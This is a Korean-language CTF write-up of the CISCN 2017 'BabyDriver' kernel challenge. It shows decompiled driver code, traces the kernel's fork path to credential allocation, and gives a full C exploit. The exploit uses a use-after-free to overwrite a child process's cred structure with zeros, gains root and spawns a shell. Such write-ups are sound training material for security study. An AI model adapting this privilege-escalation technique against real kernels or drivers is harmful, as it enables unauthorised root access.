[CISCN 2017] BabyDriver

全国大学生信息安全竞赛 2017 - BabyDriver [Pwn/450]

 

babyopen

int __fastcall babyopen(inode *inode, file *filp) {   __int64 v2; // rdx      _fentry__(inode, filp);   babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);   babydev_struct.device_buf_len = 0x40LL;   printk("device open\n", 0x24000C0LL, v2);   return 0; }

 

babyrelease

int __fastcall babyrelease(inode *inode, file *filp) {   __int64 v2; // rdx      _fentry__(inode, filp);   kfree(babydev_struct.device_buf);   printk("device release\n", filp, v2);   return 0; }

 

babyioctl

// local variable allocation has failed, the output may be wrong! __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) {   size_t v3; // rdx   size_t v4; // rbx   __int64 v5; // rdx   __int64 result; // rax      _fentry__(filp, *(_QWORD *)&command);   v4 = v3;   if ( command == 65537 )   {     kfree(babydev_struct.device_buf);     babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);     babydev_struct.device_buf_len = v4;     printk("alloc done\n", 0x24000C0LL, v5);     result = 0LL;   }   else   {     printk(&unk_2EB, v3, v3);     result = -22LL;   }   return result; }

 

babyread

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset) {   size_t v4; // rdx   ssize_t result; // rax   ssize_t v6; // rbx      _fentry__(filp, buffer);   if ( !babydev_struct.device_buf )     return -1LL;   result = -2LL;   if ( babydev_struct.device_buf_len > v4 )   {     v6 = v4;     copy_to_user(buffer);     result = v6;   }   return result; }

 

babywrite

ssize_t __fastcall babywrite(file *filp, char *buffer, size_t length, loff_t *offset) {   size_t v4; // rdx   ssize_t result; // rax   ssize_t v6; // rbx      _fentry__(filp, buffer);   if ( !babydev_struct.device_buf )     return -1LL;   result = -2LL;   if ( babydev_struct.device_buf_len > v4 )   {     v6 = v4;     copy_from_user();     result = v6;   }   return result; }

 

 

Exploit

커널 버전은 4.4.72다. (uname -r)

 

ioctl로 babydev_struct.device_buf의 크기를 원하는 대로 지정해 줄 수 있으며, babydev_struct가 커널 모듈에 전역변수로 놓여져 있기 때문에 2개 이상의 device를 open하는 경우 UAF 취약점을 발생시킬 수 있다.

 

새 child process를 fork로 생성하는 경우 cred 구조체를 임의로 수정할 수 있다고 한다.

과정을 살펴보기 위해 fork()가 어디로 이어지는 지 따라가 봤다. 먼저 fork()를 호출하면 clone syscall을 호출한다.

 

/* generic sys_clone is not enough registers */
asmlinkage int sys_clone(unsigned long __user *args)
{
    unsigned long clone_flags;
    unsigned long  newsp;
    uintptr_t parent_tidptr;
    uintptr_t child_tidptr;
 
    get_user(clone_flags, &args[0]);
    get_user(newsp, &args[1]);
    get_user(parent_tidptr, &args[2]);
    get_user(child_tidptr, &args[3]);
    return do_fork(clone_flags, newsp, 0,
               (int __user *)parent_tidptr, (int __user *)child_tidptr);
}

 

syscall에 넘겨준 인자로 do_fork를 호출한다.

 

/* For compatibility with architectures that call do_fork directly rather than
 * using the syscall entry points below. */
long do_fork(unsigned long clone_flags,
          unsigned long stack_start,
          unsigned long stack_size,
          int __user *parent_tidptr,
          int __user *child_tidptr)
{
    return _do_fork(clone_flags, stack_start, stack_size,
            parent_tidptr, child_tidptr, 0);
}

 

do_fork에서 _do_fork를 호출하고...

 

/*
 *  Ok, this is the main fork-routine.
 *
 * It copies the process, and if successful kick-starts
 * it and waits for it to finish using the VM if required.
 */
long _do_fork(unsigned long clone_flags,
          unsigned long stack_start,
          unsigned long stack_size,
          int __user *parent_tidptr,
          int __user *child_tidptr,
          unsigned long tls)
{
    struct task_struct *p;
    int trace = 0;
    long nr;
 
    /*
     * Determine whether and which event to report to ptracer.  When
     * called from kernel_thread or CLONE_UNTRACED is explicitly
     * requested, no event is reported; otherwise, report if the event
     * for the type of forking is enabled.
     */
    if (!(clone_flags & CLONE_UNTRACED)) {
        if (clone_flags & CLONE_VFORK)
            trace = PTRACE_EVENT_VFORK;
        else if ((clone_flags & CSIGNAL) != SIGCHLD)
            trace = PTRACE_EVENT_CLONE;
        else
            trace = PTRACE_EVENT_FORK;
 
        if (likely(!ptrace_event_enabled(current, trace)))
            trace = 0;
    }
 
    p = copy_process(clone_flags, stack_start, stack_size,
             child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
    /*
     * Do this prior waking up the new thread - the thread pointer
     * might get invalid after that point, if the thread exits quickly.
     */
    if (!IS_ERR(p)) {
        struct completion vfork;
        struct pid *pid;
 
        trace_sched_process_fork(current, p);
 
        pid = get_task_pid(p, PIDTYPE_PID);
        nr = pid_vnr(pid);
 
        if (clone_flags & CLONE_PARENT_SETTID)
            put_user(nr, parent_tidptr);
 
        if (clone_flags & CLONE_VFORK) {
            p->vfork_done = &vfork;
            init_completion(&vfork);
            get_task_struct(p);
        }
 
        wake_up_new_task(p);
 
        /* forking complete and child started to run, tell ptracer */
        if (unlikely(trace))
            ptrace_event_pid(trace, pid);
 
        if (clone_flags & CLONE_VFORK) {
            if (!wait_for_vfork_done(p, &vfork))
                ptrace_event_pid(PTRACE_EVENT_VFORK_DONE, pid);
        }
 
        put_pid(pid);
    } else {
        nr = PTR_ERR(p);
    }
    return nr;
}

 

1753번째 줄에서 copy_process를 호출한다.

 

/*
 * This creates a new process as a copy of the old one,
 * but does not actually start it yet.
 *
 * It copies the registers, and all the appropriate
 * parts of the process environment (as per the clone
 * flags). The actual kick-off is left to the caller.
 */
static struct task_struct *copy_process(unsigned long clone_flags,
                    unsigned long stack_start,
                    unsigned long stack_size,
                    int __user *child_tidptr,
                    struct pid *pid,
                    int trace,
                    unsigned long tls,
                    int node)
{
    int retval;
    struct task_struct *p;
    void *cgrp_ss_priv[CGROUP_CANFORK_COUNT] = {};
 
    retval = copy_creds(p, clone_flags);
    if (retval < 0)
        goto bad_fork_free;
 
}

 

copy_process 내부에서 copy_creds를 호출한다.

 

/*
 * Copy credentials for the new process created by fork()
 *
 * We share if we can, but under some circumstances we have to generate a new
 * set.
 *
 * The new process gets the current process's subjective credentials as its
 * objective and subjective credentials
 */
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
    struct cred *new;
    int ret;
 
    if (
#ifdef CONFIG_KEYS
        !p->cred->thread_keyring &&
#endif
        clone_flags & CLONE_THREAD
        ) {
        p->real_cred = get_cred(p->cred);
        get_cred(p->cred);
        alter_cred_subscribers(p->cred, 2);
        kdebug("share_creds(%p{%d,%d})",
               p->cred, atomic_read(&p->cred->usage),
               read_cred_subscribers(p->cred));
        atomic_inc(&p->cred->user->processes);
        return 0;
    }
 
    new = prepare_creds();
    if (!new)
        return -ENOMEM;
 
    if (clone_flags & CLONE_newUSER) {
        ret = create_user_ns(new);
        if (ret < 0)
            goto error_put;
    }
 
}

 

prepare_creds를 살펴보니..

 

/**
 * prepare_creds - Prepare a new set of credentials for modification
 *
 * Prepare a new set of task credentials for modification.  A task's creds
 * shouldn't generally be modified directly, therefore this function is used to
 * prepare a new copy, which the caller then modifies and then commits by
 * calling commit_creds().
 *
 * Preparation involves making a copy of the objective creds for modification.
 *
 * Returns a pointer to the new creds-to-be if successful, NULL otherwise.
 *
 * Call commit_creds() or abort_creds() to clean up.
 */
struct cred *prepare_creds(void)
{
    struct task_struct *task = current;
    const struct cred *old;
    struct cred *new;
 
    validate_process_creds();
 
    new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
    if (!new)
        return NULL;
 
    kdebug("prepare_creds() alloc %p", new);
 
    old = task->cred;
    memcpy(new, old, sizeof(struct cred));
 
    atomic_set(&new->usage, 1);
    set_cred_subscribers(new, 0);
    get_group_info(new->group_info);
    get_uid(new->user);
    get_user_ns(new->user_ns);
 
#ifdef CONFIG_KEYS
    key_get(new->session_keyring);
    key_get(new->process_keyring);
    key_get(new->thread_keyring);
    key_get(new->request_key_auth);
#endif
 
#ifdef CONFIG_SECURITY
    new->security = NULL;
#endif
 
    if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
        goto error;
    validate_creds(new);
    return new;
 
error:
    abort_creds(new);
    return NULL;
}
EXPORT_SYMBOL(prepare_creds);

 

kmem_cache_alloc이 호출되는 것을 볼 수 있다.

 

정리하면, fork > sys_clone > do_fork > _do_fork > copy_process > copy_creds > prepare_creds > kmem_cache_alloc 순서로 호출된다.

babydriver 커널 모듈에서 device_buf의 크기를 cred 구조체의 크기로 맞춰 준 뒤에 babyrelease를 한 번 한 상태에서 다른 device에서 device_buf를 수정하면 cred 구조체의 값이 바뀐다.

 

cred 구조체는 다음과 같다.

 

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    kuid_t        uid;        /* real UID of the task */
    kgid_t        gid;        /* real GID of the task */
    kuid_t        suid;        /* saved UID of the task */
    kgid_t        sgid;        /* saved GID of the task */
    kuid_t        euid;        /* effective UID of the task */
    kgid_t        egid;        /* effective GID of the task */
    kuid_t        fsuid;        /* UID for VFS ops */
    kgid_t        fsgid;        /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char    jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key    *process_keyring; /* keyring private to this process */
    struct key    *thread_keyring; /* keyring private to this thread */
    struct key    *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;    /* subjective LSM security */
#endif
    struct user_struct *user;    /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;    /* supplementary groups for euid/fsgid */
    struct rcu_head    rcu;        /* RCU deletion hook */
};
/include/linux/cred.h

 

egid까지 모두 0으로 바꿔버리면 root가 된다.

헤더 레퍼런스가 꼬였는지 cred.h include가 안돼서 size를 손으로 계산해서 코드를 써야 했다....

 

// musl-gcc -static -s -pthread exploit.c
 
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
 
int main() {
#ifdef _EXP_TEST
#endif
    int dev1 = open("/dev/babydev", O_RDWR);
    int dev2 = open("/dev/babydev", O_RDWR);
    int cpid;
 
    if (dev1==-1 || dev2==-1) {
        fputs("[!] Device open failed.", stderr);
        return 1;
    }
 
    ioctl(dev1, 65537, 0xA8);
    close(dev1);
 
    if ((cpid=fork()) == -1) {
        fputs("[!] fork failed.", stderr);
        return 1;
    }
 
    if (cpid == 0) {  // child process
        char payload[28] = {0,};
        write(dev2, payload, 28);
 
        if (getuid() == 0) {
            system("/bin/sh");
            return 0;
        }
        else {
            fputs("[!] root permission not obtained.", stderr);
            return 1;
        }
    }
    else wait(0);
 
    return 0;
}

 

Reference

https://www.lazenca.net/pages/viewpage.action?pageId=25624864

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf-zh/

https://stackoverflow.com/questions/11408041/how-to-debug-the-linux-kernel-with-gdb-and-qemu